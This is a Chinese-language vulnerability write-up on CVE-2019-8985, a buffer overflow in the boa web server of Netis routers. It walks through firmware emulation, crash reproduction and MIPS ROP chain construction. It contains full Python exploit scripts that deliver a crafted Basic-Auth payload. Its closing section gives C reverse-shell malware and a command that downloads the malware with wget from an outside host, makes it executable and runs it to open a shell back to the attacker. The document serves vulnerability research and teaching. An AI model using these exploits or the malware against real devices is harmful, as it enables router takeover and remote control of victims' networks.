CVE–2019–8985 Netis WF2411 RCE 详细解析

IoT 4个月前 admin
309 0 0

点击 / 关注我们

我的github上传了固件和代码:Ler2sq/CVE-2019-8985: CVE–2019–8985 Netis WF2411 RCE (github.com)

NVD官方介绍:NVD - CVE-2019-8985 (nist.gov)

固件获取:WF2419 选择WF2419(2.2.36123)

根据报告者和PoC WhooAmii

可以知道这是一个路由器内的缓冲区溢出漏洞

固件用户级模拟

首先由已知信息得到漏洞点存在于/bin/boa程序中的user_ok函数

如下

sprintf 的时候对v10造成了溢出 而v10的buf还特别小

通过逆向可以知道 这是个认证函数 由user_name:user_password组成的键值对形式和本地的文件进行认证

int __fastcall user_ok(const char *user_name, const char *user_pswd)
{
  int v4; // $s1
  int result; // $v0
  int v6; // $s2
  int v7; // $v0
  const char *v8; // $s0
  bool v9; // dc
  char v10[64]; // [sp+20h] [-40h] BYREF

  memset(v10, 0, sizeof(v10));
  v4 = 0;
  if ( get_password(64) >= 0 )
  {
    sprintf(v10, "%s:%s", user_name, user_pswd);<<-<<-<<- 漏洞点
    v6 = (unsigned __int8)v10[0] - 58;
    while ( 1 )
    {
      v7 = v4 << 6;
      if ( password[64 * v4] == 58 && !v6 )
        break;
      v8 = &password[v7];
      if ( strlen(&password[v7]) >= 2 )
      {
        v9 = strcmp(v10, v8) == 0;
        result = 1;
        if ( v9 )
          return result;
      }
      if ( ++v4 > 0 )
      {
        fprintf(stderr, "check password error,log_passwd=%s;passwd=%sn", user_pswd, password);
        return 0;
      }
    }
    return 1;
  }
  else
  {
    fprintf(stderr, "%s:%s:%d;get password error!n""htauth.c""user_ok", 74);
    return 1;
  }
}

解压固件

binwalk -Me fw.bin

cd到根文件目录下 可以根据已知信息得到这是一个大端的mips

➜  sqrootfs file bin/busybox         
bin/busybox: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
➜  sqrootfs cp $(which qemu-mips) .

试着查一下help

➜  squrootfs sudo chroot . ./qemu-mips  /bin/boa --help
[sudo] password for squ: 
[19/Jul/2022:13:48:04 +0000] boa.c:228 (main) - can't open /dev/null: No such file or directory

/dev/null是一个设备文件 需要用mknod创建

linux - -bash: dev/null: No such file or directory - at startup - Super User

sudo mknod -m 666 ./dev/null c 1 3
  • m 设置权限
  • c 表示字符设备文件与设备传送数据的时候是以字符的形式传送,一次传送一个字符,比如打印机、终端都是以字符的形式传送数据
  • 1 3 分别是主次设备号

此时就能出现help信息了

➜  squrootfs sudo chroot . ./qemu-mips  /bin/boa --help
Usage: /bin/boa -p <boa path>  <-f boa.conf path>

可以看到我们需要一个boa path和一个conf path

boa启动命令一定是在配置文件或者开机项作为httpd服务启动 只需要grep搜索即可

➜  squrootfs grep -r "boa " . 
./bin/webs: /bin/boa -p /web -f /etc/boa.conf &
Binary file ./bin/boa matches

接下来按照这个启动

➜  squrootfs sudo chroot . ./qemu-mips  /bin/boa -p /web -f /etc/boa.conf
boa.c:main:291;Can't create PID file!

根据ida定位

CVE–2019–8985 Netis WF2411 RCE 详细解析
image-20220719220428974.png

可以发现是/var/run/webs.pid文件的文件夹没有创建

CVE–2019–8985 Netis WF2411 RCE 详细解析创建相应文件夹

mkdir var/run

此时用户态就能完全启动了

➜  squrootfs sudo chroot . ./qemu-mips  /bin/boa -p /web -f /etc/boa.conf
Starting Protocol Module: HTTP Server                      ... OK

然后可以打个PoC试试看

wget --http-user=a --http-password=$(python -c 'print "a"*0x80') http://127.0.0.1

可以看到报错信息如下

translate_uri:222;Wget/1.19.4 (linux-gnu)
translate_uri:254
translate_uri:256
htauth.c:user_auth:181;get password error!

定位到ida 是因为文件打开失败

CVE–2019–8985 Netis WF2411 RCE 详细解析cp本地的过去

cp /etc/passwd ./tmp

在wget一下 可以看到崩溃 PoC验证成功

check password error,log_passwd=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;passwd=root:x:0:0:root:/root:/bin/bash
caught SIGSEGV, dumping core in /var/boa
qemu: uncaught target signal 6 (Aborted) - core dumped
[1]    49014 abort      sudo chroot . ./qemu-mips /bin/boa -p /web -f /etc/boa.conf

漏洞分析及其利用

rasp + 0x14bufsp - 0x40也就是0x54的 offs 同时我们也需要控制五个寄存器s0 ~ s5 这五个调用者保存寄存器 这些寄存器主要是为了劫持返回地址 因为会有sx传递给ax 然后jalr ax的gadget

.text:004146DC                 lw      $ra, 0x60+var_s14($sp)
.text:004146E0                 lw      $s4, 0x60+var_s10($sp)
.text:004146E4                 lw      $s3, 0x60+var_sC($sp)
.text:004146E8                 lw      $s2, 0x60+var_s8($sp)
.text:004146EC                 lw      $s1, 0x60+var_s4($sp)
.text:004146F0                 lw      $s0, 0x60+var_s0($sp)
.text:004146F4                 jr      $ra
.text:004146F8                 addiu   $sp, 0x78

sprintf的逆向语句如下

sprintf(dest, "%s:%s", username, password);

调试发现boa加载了两个库,libClibgcc. 由已知信息得知没开aslr

审视一波libc.so.0(利用mipsrop这个ida插件)

Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x000068AC  |  addiu $a0,$sp,0x20+var_8                            |  jalr  $v0                             |
|  0x0000711C  |  addiu $a0,$sp,0x1A0+var_188                         |  jalr  $v0                             |
|  0x000074BC  |  addiu $a0,$sp,0x1A0+var_188                         |  jalr  $v0                             |
|  0x00020660  |  addiu $a0,$sp,0x30+var_18                           |  jalr  $a0                             |
|  0x000071E4  |  addiu $a1,$sp,0x20+var_8                            |  jr    0x20+var_s0($sp)                |
|  0x00008AD4  |  addiu $a1,$sp,0x20+var_8                            |  jr    0x20+var_s0($sp)                |
|  0x0000A3CC  |  addiu $a2,$sp,0x40+var_28                           |  jr    0x40+var_sC($sp)                |
|  0x000125E0  |  addiu $a2,$sp,0x18+arg_8                            |  jr    0x18+var_s0($sp)                |

没有可用的gadget 再到libgcc中找 第二列有a0 第三列有s0 ~ s4就行 找到这个 也就是要确保

  • binsh地址在 sp + 0x18 (但这个是在执行了addiu $sp, 0x78 之后的)
  • 而system在 s3 (sp + 0xc)
  • ra 在 sp +0x14

能用的如下

.text:0000ABD0                 addiu   $a0$sp, 0x20+var_8
.text:0000ABD4                 move    $a1$s2
.text:0000ABD8                 move    $s0$zero
.text:0000ABDC                 move    $t9$s3
.text:0000ABE0                 jalr    $t9
.text:0000ABE4                 movz    $s0$v0$v1

qemu 系统级别模拟

此时我们有libc库中system地址的偏移(ctrl + f搜出来)

还有libgcc库中好用的gadget

但由于需要加载lib库 获取基地址 还系统级别模拟

在 Index of /~aurel32/qemu (debian.org) 下载mips镜像并启动

qemu-system-mips 
    -M malta 
    -kernel vmlinux-3.2.0-4-4kc-malta 
    -hda debian_wheezy_mips_standard.qcow2 
    -append "root=/dev/sda1 console=tty0" 
    -nographic

然后按用户态的方式启动boa 利用gdbserver进行远程调试

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
  0x400000   0x419000 r-xp    19000 0      /bin/boa
  0x459000   0x45a000 rw-p     1000 19000  /bin/boa
  0x45a000   0x466000 rwxp     c000 0      [heap]
0x77ee2000 0x77eee000 r-xp     c000 0      /lib/libgcc_s_4181.so.1
0x77eee000 0x77f2d000 ---p    3f000 0      [anon_77eee]
0x77f2d000 0x77f2e000 rw-p     1000 b000   /lib/libgcc_s_4181.so.1
0x77f2e000 0x77f6c000 r-xp    3e000 0      /lib/libc.so.0
0x77f6c000 0x77fac000 ---p    40000 0      [anon_77f6c]
0x77fac000 0x77fad000 rw-p     1000 3e000  /lib/libc.so.0
0x77fad000 0x77fb1000 rw-p     4000 0      [anon_77fad]
0x77fb1000 0x77fb7000 r-xp     6000 0      /lib/ld-uClibc.so.0
0x77ff5000 0x77ff6000 rw-p     1000 0      [anon_77ff5]
0x77ff6000 0x77ff7000 r--p     1000 5000   /lib/ld-uClibc.so.0
0x77ff7000 0x77ff8000 rw-p     1000 6000   /lib/ld-uClibc.so.0
0x7f9ee000 0x7fff7000 rwxp   609000 0      [stack]
0x7fff7000 0x7fff8000 r-xp     1000 0      [vdso]

尝试用脚本打一下 大部分都在公布的PoC中可以获取

import socket
from pwn import *
import base64

libc    = 0x77f2e000 
libgcc  = 0x77ee2000
gadget  = 0x0000ABD0 + libgcc
system  = 0x0002AC90 + libc
MAXSZ   = 1024
cmd     = b"FUCK" * 50 # 看看命令有多长(boa自己也会过滤)
# cmd     = b"mkdir hack"
context(arch = "mips", endian = "big", os = "Linux", log_level = "DEBUG")
def exp():
    print(f"[+] gadget is {hex(gadget)}")
    print(f"[+] system is {hex(system)}")
    payload  = b'a:%s' %(b'A' * (0x4C - 2))
    payload += p32(system)
    payload += b'AAAA'
    payload += p32(gadget)
    payload += b"BBBB"
    payload += b"BBBB"
    payload += b"BBBB"
    payload += b"BBBB"
    payload += b"BBBB"
    payload += b"BBBB"
    payload += cmd 

    header   = b'GET / HTTP/1.1rn'
    header  += b'Host: 10.10.10.1:80rn'
    header  += b'Authorization: Basic %srn' % base64.b64encode(payload)
    header  += b'User-Agent: Real UserAgentrnrn'

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    iport = ("10.10.10.1" ,80)
    # iport = ("127.0.0.1" ,80)
    s.connect(iport)
    s.send(header)
    msg = s.recv(MAXSZ)
    print("[+] Message is %s" %(msg))
    s.close()

if __name__ == '__main__':
    exp()

gdb 定位到地址

CVE–2019–8985 Netis WF2411 RCE 详细解析可以看到由于boa的限制 我们只溢出了17个cmd的字节命令 而cmd需要放在0x40800368的位置 也就是 esp + 0x18 0x40800350 + 0x18

这就造成了一次17字节命令的RCE

gdb调试脚本如下

set arch mips
set endian big
b *0x4146f4
target remote 10.10.10.1:8888

如果我们更改cmd到mkdir hack

可以看到(程序是chroot到/web页面下了 所以mkdir是在web下)命令被执行了

CVE–2019–8985 Netis WF2411 RCE 详细解析但是由于 cmd的命令太短 17个长度 没法完成任何一个反向shell或者正向shell

在路由器中 想获取shell 一般是用命令执行wget下载恶意程序然后执行并反向连接到攻击机监听端口

常见pwn中的system("/bin/sh")其实并不奏效 (具体请了解网络编程与socket)

ROP优化与改进

我们现在的payload中 有一大块字节是浪费了的 如下几个BBBB

    payload  = b'a:%s' %(b'A' * (0x4C - 2)) # padding + s0~s2
    payload += p32(system)                  # s3 <- esp + 0x0c
    payload += b'AAAA'                  # s4 
    payload += p32(gadget)                  # ra <- esp + 0x14
    payload += b"BBBB"
    payload += b"BBBB"
    payload += b"BBBB"
    payload += b"BBBB"
    payload += b"BBBB"
    payload += b"BBBB"
    payload += cmd                      #    <- esp + 0x30

我们的目标是 让最后的a0(system第一个参数)尽可能的接近sp的位置

这样我们就能使用那些BBBB区域

已知在vuln函数最后jalr ra之后 sp是在ra上4字节

gadget2

在libc中

从ra开始到cmd结束 有40个字节的空区 要充分利用这40字节 就需要降低esp 在libc中找到此gadgetsp - 0x38 + 0x30 - 0x18 = sp - 0x20的值给a0寄存器 然后跳到 先前的a0里面去 但是有个问题 sp-0x20是在 saved 寄存器存放的地方 肯定是很难布置过长的cmd 而且a0不可控 我们需要让a0可控

.text:00020650                 addiu   $sp, -0x38
.text:00020654                 sw      $ra, 0x30+var_s0($sp)
.text:00020658                 sw      $gp, 0x30+var_20($sp)
.text:0002065C                 li      $v0, 2
.text:00020660                 move    $t9$a0
.text:00020664                 sw      $v0, 0x30+var_18($sp)
.text:00020668                 jalr    $t9
.text:0002066C                 addiu   $a0$sp, 0x30+var_18

gadget1

而这个gadget依靠a0 进行跳转 我们需要控制a0libgcc中 我们可以控制a0 也可以控制跳转地址

.text:00008B20                 move    $t9$s4
.text:00008B24                 jalr    $t9 ; sub_8770
.text:00008B28                 move    $a0$s0

gadget3

libgcc中

同时 栈下去了 影响到我们的s寄存器列了 需要抬上来 之前sp 减去了 0x38 那么这里 + 上0x1c的地方可以布置下一个rop 并把sp加上来

.init:000017A4                 lw      $ra, 0x1C+var_s0($sp)
.init:000017A8                 nop
.init:000017AC                 jr      $ra
.init:000017B0                 addiu   $sp, 0x20

gadget4

libgcc中

最后 通过sp 加上0x18的位置将sp回复到之前的sp一样的地址 也就是激动人心的第一个BBBB的位置 并jalr到s3

.text:0000ABD0                 addiu   $a0$sp, 0x20+var_8
.text:0000ABD4                 move    $a1$s2
.text:0000ABD8                 move    $s0$zero
.text:0000ABDC                 move    $t9$s3
.text:0000ABE0                 jalr    $t9
.text:0000ABE4                 movz    $s0$v0$v1

流程图

CVE–2019–8985 Netis WF2411 RCE 详细解析
Pasted image 20220719174846.png

exp

import socket
from pwn import *
import base64
context(arch = "mips", endian = "big", os = "Linux", log_level = "DEBUG")

libc        = 0x77f2e000 
libgcc      = 0x77ee2000
system      = 0x0002AC90 + libc
gadgets     = [0 ,0x00008B20 ,0x00020650 ,0x000017A4 ,0x0000ABD0]
MAXSZ       = 1024
cmd         = b"echo 'hacked' > CrimeStatement"

def exp():
    rop = list(map(lambda x: x + libgcc,gadgets))
    rop[2] = rop[2] - libgcc + libc
    for i in range(1,5):
        print(f"[+] rop[{i}] is {hex(rop[i])}")
    print(f"[+] system is {hex(system)}")

    payload  = b'a:%s' %(b'A' * (0x3C - 2))
    payload += p32(rop[4])                  
    payload += p32(rop[3])                  # s0
    payload += b'AAAA'                  # s1 
    payload += b'CCCC'                  # s2
    payload += p32(system)                  # s3
    payload += p32(rop[2])                  # s4
    payload += p32(rop[1])                  # ra
    payload += cmd

    header   = b'GET / HTTP/1.1rn'
    header  += b'Host: 10.10.10.1:80rn'
    header  += b'Authorization: Basic %srn' % base64.b64encode(payload)
    header  += b'User-Agent: Real UserAgentrnrn'


    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    iport = ("10.10.10.1" ,80)
    # iport = ("127.0.0.1" ,80)
    s.connect(iport)
    s.send(header)
    msg = s.recv(MAXSZ)
    print("[+] Message is %s" %(msg))
    s.close()

if __name__ == '__main__':
    exp()
CVE–2019–8985 Netis WF2411 RCE 详细解析
Pasted image 20220719174740.png

尾声 做点坏事

既然都拿下了这么长的cmd 那么不做点坏事也说不过去 busybox中没有nc -e 也没有bash -i 之类的东西给我们做反向shell

但是有wget 下载恶意程序并运行

编写恶意程序malware 这里不能使用execve 而要用excl

具体请看 exec family of functions in C - GeeksforGeeks

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <unistd.h>
int main(int argc, char **argv){
    if( argc != 3 ){
        exit(-1);
    }   
    int port = atoi(argv[2]);
    char* ip = argv[1];
    int sd = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in sin = {
        .sin_family = AF_INET,
        .sin_port = htons(port),
        .sin_addr.s_addr = inet_addr(ip),
    };
    connect(sd, (struct sockaddr *)&sin, sizeof(sin));
    for(int _ = 0; _ <= 2; _++) 
        dup2(sd, _);
    execl("/bin/sh""/bin/sh", NULL);
    return 0;
}
mips-linux-gnu-gcc -static -mabi=32 -o malware malware.c

我们需要利用两次漏洞 一次让malware可执行 一次让其跑起来(因为长度不够 没法一次性解决)

wget http://10.10.10.2:8000/malware
chmod +x malware
./malware 10.10.10.2 9999
import socket
from pwn import *
import base64
context(arch = "mips", endian = "big", os = "Linux", log_level = "DEBUG")

libc    = 0x77f2e000 
libgcc  = 0x77ee2000
system  = 0x0002AC90 + libc
gadgets = [0 ,0x00008B20 ,0x00020650 ,0x000017A4 ,0x0000ABD0]
MAXSZ   = 1024
cmd = b"wget http://10.10.10.2:8000/malware ;chmod +x ./malware ;./malware 10.10.10.2 9999"
# 要分两次 一次是达咩的
def exp():
    rop = list(map(lambda x: x + libgcc,gadgets))
    rop[2] = rop[2] - libgcc + libc
    for i in range(1,5):
        print(f"[+] rop[{i}] is {hex(rop[i])}")
    print(f"[+] system is {hex(system)}")
    print(f"cmd length i {len(cmd)}")

    payload  = b'a:%s' %(b'A' * (0x3C - 2))
    payload += p32(rop[4])                  
    payload += p32(rop[3])                  # s0
    payload += b'AAAA'                  # s1 
    payload += b'CCCC'                  # s2
    payload += p32(system)                  # s3
    payload += p32(rop[2])                  # s4
    payload += p32(rop[1])                  # ra
    payload += cmd

    header   = b'GET / HTTP/1.1rn'
    header  += b'Host: 10.10.10.1:80rn'
    header  += b'Authorization: Basic %srn' % base64.b64encode(payload)
    header  += b'User-Agent: Real UserAgentrnrn'


    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    iport = ("10.10.10.1" ,80)
    s.connect(iport)
    s.send(header)
    msg = s.recv(MAXSZ)
    print("[+] Message is %s" %(msg))
    s.close()

if __name__ == '__main__':
    exp()

攻击机开启监听 效果如下 成功get reverse shell

CVE–2019–8985 Netis WF2411 RCE 详细解析
Pasted image 20220719182949.png

推荐阅读:
关于微信数据库的解密以及取证
Shiro 历史漏洞分析
浅谈pyd文件逆向
CVE-2022-23222漏洞及利用分析
Mimikatz详细使用总结



跳跳糖是一个安全社区,旨在为安全人员提供一个能让思维跳跃起来的交流平台。


跳跳糖持续向广大安全从业者征集高质量技术文章,可以是漏洞分析,事件分析,渗透技巧,安全工具等等。
通过审核且发布将予以500RMB-1000RMB不等的奖励,具体文章要求可以查看“投稿须知”。
阅读更多原创技术文章,戳“阅读全文

原文始发于微信公众号(跳跳糖社区):CVE–2019–8985 Netis WF2411 RCE 详细解析

版权声明:admin 发表于 2022年7月25日 上午11:02。
转载请注明:CVE–2019–8985 Netis WF2411 RCE 详细解析 | CTF导航

相关文章

暂无评论

暂无评论...